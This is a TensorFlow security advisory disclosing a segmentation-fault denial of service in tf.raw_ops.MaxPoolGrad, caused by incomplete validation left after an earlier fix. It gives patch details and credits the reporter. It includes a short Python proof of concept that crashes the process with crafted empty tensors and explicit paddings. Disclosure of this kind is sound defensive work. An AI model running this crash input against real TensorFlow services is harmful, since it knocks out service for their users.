GHSA-7ghq-fvr3-pj2x

### Impact An attacker can trigger a denial of service via a segmentation fault in `tf.raw_ops.MaxPoolGrad` caused by missing validation: ```python import tensorflow as tf tf.raw_ops.MaxPoolGrad( orig_input = tf.constant([], shape=[3, 0, 0, 2], dtype=tf.float32), orig_output = tf.constant([], shape=[3, 0, 0, 2], dtype=tf.float32), grad = tf.constant([], shape=[3, 0, 0, 2], dtype=tf.float32), ksize = [1, 16, 16, 1], strides = [1, 16, 18, 1], padding = "EXPLICIT", explicit_paddings = [0, 0, 14, 3, 15, 5, 0, 0]) ``` The [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/maxpooling_op.cc) misses some validation for the `orig_input` and `orig_output` tensors. The fixes for [CVE-2021-29579](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-068.md) were incomplete. ### Patches We have patched the issue in GitHub commit [136b51f10903e044308cf77117c0ed9871350475](https://github.com/tensorflow/tensorflow/commit/136b51f10903e044308cf77117c0ed9871350475). The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang of Baidu Security.